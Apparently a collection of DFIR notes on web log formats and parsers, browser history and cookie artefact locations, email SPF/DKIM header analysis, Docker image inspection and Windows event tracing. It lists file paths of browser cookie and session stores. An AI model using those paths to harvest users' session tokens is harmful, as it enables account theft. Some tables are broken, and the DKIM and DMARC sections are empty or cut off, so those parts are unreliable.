| ------------------------------ | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Common Log Format (CLF)`      | <p><code>%h %l %u %t "%r" %>s %b</code><br><br><code>\<REMOTE\_HOST> <-                              | IDENTITY> \<USER> \<TIMESTAMP> "\<REQUEST>" \<STATUS\_CODE> \<RETURN\_SIZE></code></p>                               | `127.0.0.1 - frank [10/Oct/2000:13:55:36 -0700] "GET /apache_pb.gif HTTP/1.0" 200 2326`                                                                                                            | <p>A <code>-</code> indicates that the information is not present.<br><br>The <code>\<IDENTITY></code> field is not reliable and will often not be logged.<br><br>The <code>\<USER></code> field may not be indicated (<code>-</code>) even if the request was identified at a higher level. For instance, <code>CMS</code>, such as <code>WordPress</code>, may not rely on webserver authentication and can identify users at the application level. In such case, the webserver log, such as <code>Apache</code>, will not contain user information while the request was however dully authentified.</p> |
| `NCSA Combined Log Format`     | <p><code>%h %l %u %t "%r" %>s %b "%{Referer}" "%{User-agent}"</code><br><br><code>\<REMOTE\_HOST> <- | IDENTITY> \<USER> \<TIMESTAMP> "\<REQUEST>" \<STATUS\_CODE> \<RETURN\_SIZE> "\<REFERER>" "\<USER\_AGENT>"</code></p> | `127.0.0.1 - frank [10/Oct/2022:13:55:36 -0700] "GET /apache_pb.gif HTTP/1.0" 200 2326 "http://www.example.com/start.html" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"` | Identical to the `Common Log Format (CLF)` format, with the addition of the `Referer` and `User-agent` fields.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `IIS Log File Format`          |                                                                                                      |                                                                                                                      |                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `W3C Extended Log File Format` |                                                                                                      |                                                                                                                      |                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |

### Graphical web logs parsers / viewer

**GoAccess**

[`GoAccess`](https://goaccess.io/) is a C program that can be used to parse webserver logs to get a first level of statistics for the given logs: total requests, unique visitors, operating systems and browsers stats (if user-agent information is available), accessed endpoints, etc. `GoAccess` supports many web log formats (Apache, Nginx, Amazon S3, Elastic Load Balancing, CloudFront, etc.) and can outputs reports in `JSON`, `CSV` or `HTML`.

Statistics linked to specifics IPs require to first filter the log files.

```bash
# Generate a static HTLM report with statistics for the given input log file(s).
goaccess <ACCESS_LOG_FILE | ACCESS_LOG_FILES> -o <REPORT_CSV_FILE | REPORT_JSON_FILE | REPORT_HTML_FILE>

# Filters the given log files on the specified IPs to generate a targeted statistics report.
grep -i "IP1\|...\|IPn" <ACCESS_LOG_FILE | ACCESS_LOG_FILES> | goaccess -o <REPORT_CSV_FILE | REPORT_JSON_FILE | REPORT_HTML_FILE>
```

**HTTP logs viewer**

The [`http Logs Viewer`](https://www.apacheviewer.com/) application, formerly `Apache Logs Viewer`, supports various webservers logs (Apache, IIS, nginx, etc.) and allows filtering based on various fields.

Only limited functionalities are however available in the free version and some key features require the paid version (20$ for individuals, 70$ for corporations as of 2022-08).

### Automated attack patterns detection

**Apache access logs**

The `Scalp!` Python script can be used in combination with the `PHPIDS` project's regular expression filters to automatically detect common attacks (`SQL` injection, `cross-site scripting (XSS)`, local and remote file inclusion, etc.). The `PHPIDS` project's `default_filter.xml` defines 78 optimized and tested regex.

`Scalp!` parses the specified `Apache` logs files and leverages the `PHPIDS` project's regular expressions to detect the matching attack patterns.

```
# nanopony GitHub repository
--exhaustive: Will not stop at the first type of attacks detected
--tough: Will attempt to decode potential attack vectors. Increases the analysis time but can greatly reduce false-positives

python3 scalp.py --exhaustive --tough -l <LOG_FILE_PATH> -f <default_filter.xml | FILTER_FILE_PATH> -o <OUTPUT_DIR>
```

The analysis of 10 000 lines of logs takes around 90 seconds (on a `i7-4700MQ` CPU), and while `Scalp!` implements a time frame filter, the functionnality does not seem to be functionnal.

For larger `Apache` log files, the files can be splited in multiple parts and the analysis multi-threaded, to the maximun processing power, using the Linux `xargs` utility. Doing so, the analysis time of 100 000 lines of logs is reduced to around 200 seconds (on a `i7-4700MQ` CPU).

```
FILE_NAME=<FILE_NAME>
OUTPUT_FOLDER=<OUTPUT_DIR>
SCALP_PATH=<SCALP_PYTHON_PATH>
FILTER_PATH=<default_filter.xml | FILTER_FILE_PATH>
NUMBER_LINES=10000

split -d -l $NUMBER_LINES $FILE_NAME "$PWD/$OUTPUT_FOLDER/$FILE_NAME"
find "$PWD/$OUTPUT_FOLDER" -maxdepth 1 -type f | xargs -P0 -I {} python3 $SCALP_PATH --exhaustive --tough -l {} -f $FILTER_PATH -o "$PWD/$OUTPUT_FOLDER"
```

***

### References

<https://httpd.apache.org/docs/current/logs.html>


# Browsers forensics

### Browsing history / download artefacts

**Overview**

The web browsers related artefacts can be split in the following categories:

* User profile: web browsers, such as `Chronium`-based browsers and `Firefox`, implement a profile feature to store user's setttings, history, favourites, etc. The databases and files that store these information are usually stored under a user specific profile folder.
* History: web browsing history and download history.
* Cookies: web browsing cookies (session tokens).
* Cache: cache of resources downloaded from accessed websites (images, text content, `HTML`, `CSS`, `Javascript` files, etc.).
* Sessions: tabs and windows from a browsing session.
* Settings: configuration settings.

These files are often stored under `%LocalAppData%` (`%SystemDrive%:\Users\<USERNAME>\AppData\Local\`) and `%AppData%` (`%SystemDrive%:\Users\<USERNAME>\AppData\Roaming\`).

**Artefacts details**

| Name                                                                | Type               | Description                                                                                                                                                                                                                                                                                                                                                                                                              | Information / interpretation                                                                                                                                                                                                                  | Location                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Tool(s)                                                                                                                                                   |                                                                                                          |                                                                                                                |                                                                                                         |                                                                                                            |                                   |                                                                                             |
| ------------------------------------------------------------------- | ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------- | --------------------------------- | ------------------------------------------------------------------------------------------- |
| <p><code>NTUSER</code><br>-<br><code>TypedURLs</code></p>           | Web browsers usage | <p><code>URL</code> entered (typed, pasted, or auto-completed) in the <code>Internet Explorer (IE)</code> web browser search bar.<br><br>Web searches do not generate entries, only typing of an <code>URL</code> will.<br><br>Entries are added / updated in near real-time.</p>                                                                                                                                        | <p>The <code>URL</code> are stored as <code>url1</code> to <code>url\[N]</code> in inversed chronological order.<br><br>The last write timestamp of the key is thus the timestamp of visit of the most recently visited <code>URL</code>.</p> | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br>Registry key: <code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedURLs</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |                                                                                                                                                           |                                                                                                          |                                                                                                                |                                                                                                         |                                                                                                            |                                   |                                                                                             |
| `Microsoft Internet Explorer`                                       | Web browsers usage | <p><code>Microsoft Internet Explorer</code> artefacts.<br><br>For more information: <a href="https://github.com/Qazeer/InfoSec-Notes/blob/master/Common/Browsers_forensics.md">Browsers forensics note</a>.</p>                                                                                                                                                                                                          | -                                                                                                                                                                                                                                             | <p>History, downloads, cache, and cookies metadata in a <code>ESE</code> database:<br><code>%LocalAppData%\Microsoft\Windows\WebCache\WebCacheV01.dat</code><br>> History: <code>History</code> table<br>> Downloads: <code>iedownload</code> table.<br>> Cache: <code>content</code> table<br>> Cookies metadata: <code>Cookies</code> table.<br><br>Local files access, not necessarily through the webbrowser, may also appear in the <code>WebCacheV01.dat</code> database with the <code>file</code> <code>URI</code> scheme (such as <code>file:///\<DRIVE\_LETTER>:/folder/file</code>).<br><br>Cookies:<br><code>%AppData%\Microsoft\Windows\Cookies</code><br><br>Sessions:<br><code>%LocalAppData%\Microsoft\Internet Explorer\Recovery\*.dat</code></p> | [`NirSoft's BrowsingHistoryView`](https://www.nirsoft.net/utils/browsing_history_view.html)                                                               |                                                                                                          |                                                                                                                |                                                                                                         |                                                                                                            |                                   |                                                                                             |
| <p><code>Microsoft Edge</code><br>(Legacy)</p>                      | Web browsers usage | <p><code>Microsoft Edge</code> (legacy version) artefacts.<br><br>For more information: <a href="https://github.com/Qazeer/InfoSec-Notes/blob/master/Common/Browsers_forensics.md">Browsers forensics note</a>.</p>                                                                                                                                                                                                      | -                                                                                                                                                                                                                                             | <p>User profile(s):<br><code>%LocalAppData%\Packages\Microsoft.MicrosoftEdge\_XXX\AC</code><br><br>History, downloads, cache, and cookies (file shared with <code>Microsoft Internet Explorer</code>):<br><code>%LocalAppData%\Microsoft\Windows\WebCache\WebCacheV01.dat</code><br><br>Cache:<br><code>%LocalAppData%\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache</code><br><br>Sessions:<br><code>%LocalAppData%\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active</code><br><br>Settings:<br><code>%LocalAppData%\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb</code></p>                                                         | [`NirSoft's BrowsingHistoryView`](https://www.nirsoft.net/utils/browsing_history_view.html)                                                               |                                                                                                          |                                                                                                                |                                                                                                         |                                                                                                            |                                   |                                                                                             |
| <p><code>Microsoft Edge</code><br>(<code>Chronium</code>-based)</p> | Web browsers usage | <p><code>Microsoft Edge</code> (<code>Chronium</code>-based) artefacts.<br><br>Since Edge version <code>v79</code> (January 2020), <code>Microsoft Edge</code> uses a <code>Chronium</code> backend and shares similar artefacts to <code>Google Chrome</code>.<br><br>For more information: <a href="https://github.com/Qazeer/InfoSec-Notes/blob/master/Common/Browsers_forensics.md">Browsers forensics note</a>.</p> | -                                                                                                                                                                                                                                             | <p>User profile(s):<br><code>%LocalAppData%\Microsoft\Edge\User Data\&#x3C;Default                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Profile X>\*</code><br><em>With <code>X</code> ranging from one to n.</em><br><br>History:<br><code>%LocalAppData%\Microsoft\Edge\User Data\&#x3C;Default | Profile X>\History</code><br><br>Cookies:<br><code>%LocalAppData%\Microsoft\Edge\User Data\&#x3C;Default | Profile X>\Network\Cookies</code><br><br>Cache:<br><code>%LocalAppData%\Microsoft\Edge\User Data\&#x3C;Default | Profile X>\Cache</code><br><br>Sessions:<br><code>%LocalAppData%\Microsoft\Edge\User Data\&#x3C;Default | Profile X>\Sessions</code><br><br>Settings:<br><code>%LocalAppData%\Microsoft\Edge\User Data\&#x3C;Default | Profile X>\Preferences</code></p> | [`NirSoft's BrowsingHistoryView`](https://www.nirsoft.net/utils/browsing_history_view.html) |
| `Google Chrome`                                                     | Web browsers usage | <p><code>Google Chrome</code> artefacts.<br><br>For more information: <a href="https://github.com/Qazeer/InfoSec-Notes/blob/master/Common/Browsers_forensics.md">Browsers forensics note</a>.</p>                                                                                                                                                                                                                        | -                                                                                                                                                                                                                                             | <p>User profile(s):<br><code>%LocalAppData%\Google\Chrome\User Data\&#x3C;Default                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Profile X>\*</code><br><em>With <code>X</code> ranging from one to n.</em><br><br>History:<br><code>%LocalAppData%\Google\Chrome\User Data\&#x3C;Default  | Profile X>\History</code><br><br>Cookies:<br><code>%LocalAppData%\Google\Chrome\User Data\&#x3C;Default  | Profile X>\Network\Cookies</code><br><br>Cache:<br><code>%LocalAppData%\Google\Chrome\User Data\&#x3C;Default  | Profile X>\Cache</code><br><br>Sessions:<br><code>%LocalAppData%\Google\Chrome\User Data\&#x3C;Default  | Profile X>\Sessions</code><br><br>Settings:<br><code>%LocalAppData%\Google\Chrome\User Data\&#x3C;Default  | Profile X>\Preferences</code></p> | [`NirSoft's BrowsingHistoryView`](https://www.nirsoft.net/utils/browsing_history_view.html) |
| `Mozilla Firefox`                                                   | Web browsers usage | <p><code>Mozilla Firefox</code> artefacts.<br><br>For more information: <a href="https://github.com/Qazeer/InfoSec-Notes/blob/master/Common/Browsers_forensics.md">Browsers forensics note</a>.</p>                                                                                                                                                                                                                      | -                                                                                                                                                                                                                                             | <p>User profile(s):<br><code>%AppData%\Mozilla\Firefox\Profiles\&#x3C;ID>.default-release\*</code><br><br>History, downloads, and bookmarks in a <code>SQLite</code> database:<br><code>%AppData%\Mozilla\Firefox\Profiles\&#x3C;ID>.default-release\places.sqlite</code><br><br>Cookies in a <code>SQLite</code> database:<br><code>%AppData%\Mozilla\Firefox\Profiles\&#x3C;ID>.default-release\cookies.sqlite</code><br><br>Cache:<br><code>%LocalAppData%\Mozilla\Firefox\Profiles\&#x3C;ID>.default-release\cache2\*</code><br><br>Sessions:<br><code>%AppData%\Mozilla\Firefox\Profiles\&#x3C;ID>.default-release\sessionstorebackups\*</code><br><br>Settings:<br><code>%AppData%\Mozilla\Firefox\Profiles\&#x3C;ID>.default-release\prefs.js</code></p>    | [`NirSoft's BrowsingHistoryView`](https://www.nirsoft.net/utils/browsing_history_view.html)                                                               |                                                                                                          |                                                                                                                |                                                                                                         |                                                                                                            |                                   |                                                                                             |

### Parsing

As stated, [`NirSoft's BrowsingHistoryView`](https://www.nirsoft.net/utils/browsing_history_view.html) utility (`NirSoft_BrowsingHistoryView` KAPE module) can be used to parse a number of browsers artefacts to extract browsing history information. `BrowsingHistoryView` can be used either as a graphical application or as a command-line utility to export the parsing result (for instance in the CSV format).

```
# /HistorySource 3: Load history from the specified profiles folder (specified using /HistorySourceFolder).
# /HistorySourceFolder <USER_PROFILES_FOLDER> example: "C:\Users" or "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users" (for shadow copy).
# /VisitTimeFilterType 1: Load history dating back to any time.
# /ShowTimeInGMT 1: Converts timestamps to UTC-0 (default to the local timezone).

browsinghistoryview.exe /HistorySource 3 /HistorySourceFolder "<USER_PROFILES_FOLDER>" /VisitTimeFilterType 1 /ShowTimeInGMT 1 /scomma <OUTPUT_CSV>
```

***

### References

<https://www.13cubed.com/downloads/windows\\_browser\\_artifacts\\_cheat\\_sheet.pdf>

<https://book.hacktricks.xyz/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts>

<https://www.nirsoft.net/utils/browsing\\_history\\_view.html>

<https://www.forensafe.com/blogs/typedurls.html>


# Email forensics

### Common headers

A number of email headers are common / mandatory for the email lifecycle, and some headers can be of precious forensics value. Additionally, some headers are linked to optional security mechanisms (`SPF`, `DKIM`, and `DMARC`) that can help detect illegitimate / spoofed emails.

**Received header**

A `Received` header is added to the email headers by each `Message Transfer Agent (MTA)` that relayed the email. `Received` headers are ordered in reverse chronological order, with the last `Received` header corresponding to the one added first by the `MTA` closer to the email sender (and the first appearing `Received` header corresponding to the `MTA` closer to destination). The last `Received` header (placed the closest from the `From` / `To` headers and the message body) can thus be used to identify the `MTA` from which the email originated. The reputation and legitimacy of the sender `MTA`, in the email context, can be analysed to determine the legitimacy of the email.

Each `Received` header logs the sending and receiving `MTA` hostname and IP address as well as the time of reception. Example of the first `Received` header of an email sent through `O365`:

```
Received: from XXX.PROD.OUTLOOK.COM
 ([<IP>]) by YYY.PROD.OUTLOOK.COM
 ([<IP>]) with mapi id 15.20.5250.018; <DATE>
```

**From and Return-Path headers**

The email of the sender is positioned in three headers:

* The `From` header, that is displayed to the end-user as the sender of the email but is not verified by the `SPF` mechanism and can thus be spoofed.
* The `Return-Path` header, whose value is based on the email specified in the `MAIL FROM` `SMTP` command. This header is verified by the `SPF` mechanism and is thus a more reliable source of information for determining the sender of an email. The `Return-Path` header is used to process the "bounces" that may occur with an email.
* The `Reply-To` header, which simply specify the email to which human replies should be sent to (as the recipient of the new email). An arbitrary email can be specified with no incidence on email security mechanisms.

If the `From` and `Return-Path` headers differ, the `From` header may have been spoofed for social engineering purpose. If `SPF` verification (detailed below) fails, the `Return-Path` header may have been spoofed as well.

Note that the `Domain-based Message Authentication Reporting and Conformance (DMARC)` mechanism can be used to detect / prevent spoofing of the `From` header.

### SPF

**Overview**

`Sender Policy Framework (SPF)` is an email authentication mechanism, defined in [RFC 7208](https://datatracker.ietf.org/doc/html/rfc7208), designed to detect and / or block spoofed emails by detecting illegitimate sender servers. More specifically, the `SPF` mechanism will limit the domains a mail server can use in the `MAIL FROM` of a email message.

`SPF` can be used by organizations to define servers authorized to send emails for their domain name. `SPF` relies on specific `DNS` `TXT` records, that identify authorized servers and the comportment the receiver should follow in case of an email reception from a non authorized server.

`SPK` `DNS` records follow the format below, with mechanisms / rules evaluated from left-to-right and stopping on the first match (except for the `INCLUDE` mechanism).

```
# Only the version 1 of SPF is supported, so the version tag will always be set to v=spf1.

v=<spf1 | SPF_VERSION> <QUALIFIER><MECHANISM_1> ... <QUALIFIER><MECHANISM_N>
```

The following `mechanisms` are supported:

| Mechanism                 | Description                                                                                                                                                                                                                                                                                                                                                                                       |
| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `all`                     | Always matches.                                                                                                                                                                                                                                                                                                                                                                                   |
| `include:<DOMAIN>`        | <p>Evaluate the <code>SPF</code> policy of the specified domain, returning a <code>PASS</code> / <code>Neutral</code> / <code>Fail</code> / <code>Softfail</code> result (or an error).<br><br>Only <code>PASS</code> result will however be processed, effectively stopping the following mechanisms evaluation. Non-matched results will resume processing of the other further mechanisms.</p> |
| `a[:<DOMAIN>]`            | Check if the sender email server `IP` address is included in the `A` or `AAAA` `DNS` records of the `MAIL FROM` / `HELO` domain or the domain specified in the mechanism.                                                                                                                                                                                                                         |
| `mx[:<DOMAIN>]`           | Check if the sender email server `IP` address is included in the `MX` `DNS` records of the `MAIL FROM` / `HELO` domain or the domain specified in the mechanism.                                                                                                                                                                                                                                  |
| `ip4:<IPV4 \| IPV4_CIDR>` | Check if the sender email server `IP` address is the specified IPv4 address or in the specified IPv4 address range.                                                                                                                                                                                                                                                                               |
| `ip6:<IPV6 \| IPV6_CIDR>` | Check if the sender email server `IP` address is the specified IPv6 address or in the specified IPv6 address range.                                                                                                                                                                                                                                                                               |

The `qualifiers` determine the comportment the receiving email server should follow if the `mechanism` match. The following `qualifiers` are supported:

| Qualifier keyword | Qualifier description | Description                                                                                                                                                                                                                                                                                                                                                                               |
| ----------------- | --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `+`               | `PASS`                | <p>Allow the message.<br><br>I.e if the associated <code>mechanism</code> match, the message should be accepted by the receiving email server.<br><br>Default if the <code>qualifier</code> is not specified.</p>                                                                                                                                                                         |
| `-`               | `FAIL`                | <p>Reject the message.<br><br>I.e if the associated <code>mechanism</code> match, the message should be rejected by the receiving email server.</p>                                                                                                                                                                                                                                       |
| `?`               | `NEUTRAL`             | <p>The authoritative domain explicitly state that it is not asserting whether the sender email server <code>IP</code> address is authorized.<br><br>Can be processed as if the <code>SPF</code> record did not exist. I.e if the associated <code>mechanism</code> match, the message could be process as if no <code>SPF</code> record was configured by the receiving email server.</p> |
| `~`               | `SOFTFAIL`            | <p>The authoritative domain explicitly state that it is not asserting whether the sender email server <code>IP</code> address is authorized.<br><br>Same comportment as <code>NEUTRAL</code>, with difference in processing left to the receiving email server.</p>                                                                                                                       |

**Spoofed email SPF headers example**

The following email headers correspond to a spoofed email headers (assuming that `SPF` records are correctly configured):

```
Authentication-Results: spf=fail (sender IP is <SENDING_SERVER_IP>)
[...]

Received-SPF: Fail (protection.outlook.com: domain of <MAIL_FROM_OR_HELO_DOMAIN>
 does not designate <SENDING_SERVER_IP> as permitted sender)
 receiver=protection.outlook.com; client-ip=<SENDING_SERVER_IP>;
 helo=<SENDING_SERVER_FQDN>;
```

### DKIM

**Overview**

`DomainKeys Identified Mail (DKIM)` is an email authentication mechanism, defined in [RFC 6376](https://datatracker.ietf.org/doc/html/rfc6376), designed to detect spoofed emails by digitally signing the email message body and (some) headers. `DKIM` relies on `SHA-1` or `SHA-256` and `RSA`, with 1024 or 2048-bit public / private keys, to sign (part of) the email message. The `RSA` public key must be published in a `DNS` `TXT` record for the domain in order for the receiving email server to be able to validate the signature.

Upon sending of an email, the sending email server will indeed generate a hash of the message body and some headers, using one of a set of supported canonicalization algorithm, then sign the generated hash with the `RSA` private key. Whenever receiving a `DKIM`-signed email, the receiving email server will compute the same hash, using the algorithm specified in the `DKIM` header, and validate the signature using the published public key.

`SPK` `DKIM` records follow the format below:

```
```

**Email DKIM headers example**

```
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=<DOMAIN>;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Hc1c7LQy0IUrUHT9vHmJ40lUAc52d9HNeRZEQjDBk0k=;
 b=jp2hnMsaiRYukwae4DIAwb0Pc46j4cEBBN[...]GtfafZU4JZ3mpOmZ9zmWZpIRRpNLyQQttUGEOtnvRYzam8BYO3kMQoFw==
```

The following notable fields are defined:

| Field                        | Description                                                                 |
| ---------------------------- | --------------------------------------------------------------------------- |
| `v=<1 \| VERSION>`           | `DKIM` version (only the first version is supported).                       |
| `a=<rsa-sha1 \| rsa-sha256>` | <p>The cryptographic algorithm used to generate the signature.<br><br>O</p> |

### DMARC

TODO

***

### References

<https://www.trustedsec.com/blog/real-or-fake-spoof-proofing-email-with-spf-dkim-and-dmarc/>

<https://medium.com/@p.matkovski/email-forensics-2-headers-and-body-3e6280820983>


# Docker forensics

### Image analysis

```bash
# Lists the images available.
docker image ls

# Automated analysis on the specified image, to retrieve a number of information: exposed service(s), Docker file, etc.
docker run -t --rm -v /var/run/docker.sock:/var/run/docker.sock:ro pegleg/whaler -sV=1.36 <IMAGE>

# Displays information on the specified image.
docker image inspect <IMAGE> | jq

# Validates the trust on the specified image.
docker trust inspect <IMAGE> | jq

# Print the history of the commands used to build the image.
docker image history --no-trunc <IMAGE>
# Adds timestamps to the commands history.
docker history --no-trunc --format "{{.CreatedAt}}: {{.CreatedBy}}" <IMAGE>

# Extract a specific file from an image without running a container.
container_id=`docker create <IMAGE>`
docker cp $container_id:/<FILE_PATH_ON_CONTAINER> <OUTPUT_FILE_PATH>

# Save a docker image as a tar archive, containing for each layers of the image metadata (docker-file like) and image files.
docker save -o <OUTPUT_TAR> <IMAGE>
tar -xvf <OUTPUT_TAR>
cat <LAYER_HASH | *>/json | jq
```


# Windows


# Artefacts overview

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### General

| Name            | Type    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Information / interpretation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Location                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Tool(s)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| --------------- | ------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Event Tracing` | General | <p>Overall system usage: Accounts authentication successes and failures, local accounts and groups management, Windows Services or scheduled tasks operations, PowerShell activity, etc.<br><br>Various events of forensic interest across multiple providers are referenced in the present overview.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | <p><code>Event Tracing</code> is broken into three distinct components:<br>- <code>Controllers</code>: start and stop an event <code>tracing session</code> and enable <code>providers</code>.<br>- <code>Providers</code>: provide the events.<br>- <code>Consumers</code>: consume the events in real time.<br><br>Events can eventually be written to event log <code>channels</code> (assimilable to the log file names), <code>event tracing</code> log files, or both. The provider itself defines the event log <code>channel(s)</code> to which events should be written (trough its <a href="https://learn.microsoft.com/en-us/windows/win32/wes/defining-channels">"instrumentation manifest" for manifested-based providers</a>). Providers can define new <code>channels</code> or import existing <code>channels</code>. While the provider may use different <code>channels</code> for different events, each event can only be written to a single <code>channel</code> (as specified in the event's <code>event element</code> in the instrumentation manifest). If no <code>channel</code> is defined for a given event, the event will not be written to an event log channel, but can still be consumed (in memory) by a consumer through a <code>trace session</code>.<br><br>Event <code>trace sessions</code> record events by subscribing to one or more <code>providers</code> and may write to a log file. Events can only be written to one <code>channel</code> at a time, but can also be collected by up to 7 <code>trace sessions</code>.<br><br><code>Security</code>, <code>System</code>, and <code>Application</code> are legacy <code>channels</code>. Only the <code>LSASS</code> process can write to the <code>Security</code> channel.<br><br>Four types of channels are supported: <code>Admin</code>, <code>Operational</code>, <code>Analytic</code>, and <code>Debug</code>.<br><br><code>Provider</code> example: <code>Microsoft-Windows-TerminalServices-RemoteConnectionManager</code>.<br>Associated <code>channel</code> example: <code>Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational</code>.</p>                                                   | <p>Default location for <code>EVTX</code> files:<br><code>%SystemRoot%\System32\winevt\Logs\*</code><br><br>Lists the system's provider:<br><code>logman.exe query providers</code><br><br>Retrieves information about a provider, including its channel and the process sending events to it:<br><code>logman.exe query providers "\<PROVIDER\_NAME>"</code><br><br>Lists the providers the specified process emit evnets to:<br><code>logman query providers -pid \<PID></code><br><br>List the available <code>channels</code> and their associated event counts:<br><code>Get-WinEvent -ListLog \*</code></p> | <p>Tools for analyzing <code>EVTX</code> files:<br><br>- <code>Event Viewer</code>: Windows built-in <code>GUI</code> events viewer utility.<br><br>- <code>Event Log Explorer</code>: Proprietary <code>GUI</code> events viewer utility.<br><br>- <code>LogParser</code>: to conduct <code>SQL</code>-like queries on <code>EVTX files</code>. Notable <code>KAPE</code> modules available that leverage <code>LogParser</code>: <code>LogParser\_LogonLogoffEvents</code>, <code>LogParser\_RDPUsageEvents</code>, and <code>LogParser\_DetailedNetworkShareAccess</code>.<br><br>- <code>Winlogbeat</code>: to parse <code>EVTX</code> into JSON or to ship them to <code>ELK</code>.<br><br>- <code>EvtxECmd</code>: Utility to parse <code>EVTX</code> into CSV, JSON, or XML outputs (without doing a per fields extract however).<br><br>- <a href="https://github.com/WithSecureLabs/chainsaw"><code>Chainsaw</code></a>: Rust utility to parse and extract key information from <code>EVTX</code> files (notably with the use of <code>Sigma</code> rules).<br><br>- <a href="https://github.com/Yamato-Security/hayabusa"><code>Hayabusa</code></a>: Rust utility to parse and extract key information from <code>EVTX</code> files in the form of a timeline (notably with the use of <code>Sigma</code> rules).<br><br><code>Velociraptor</code>: with modules dedicated to event logs analysis (such as <code>Windows.EventLogs.CondensedAccountUsage</code>, <code>Windows.EventLogs.Chainsaw</code>, <code>Windows.EventLogs.Hayabusa</code>, etc.).</p> |
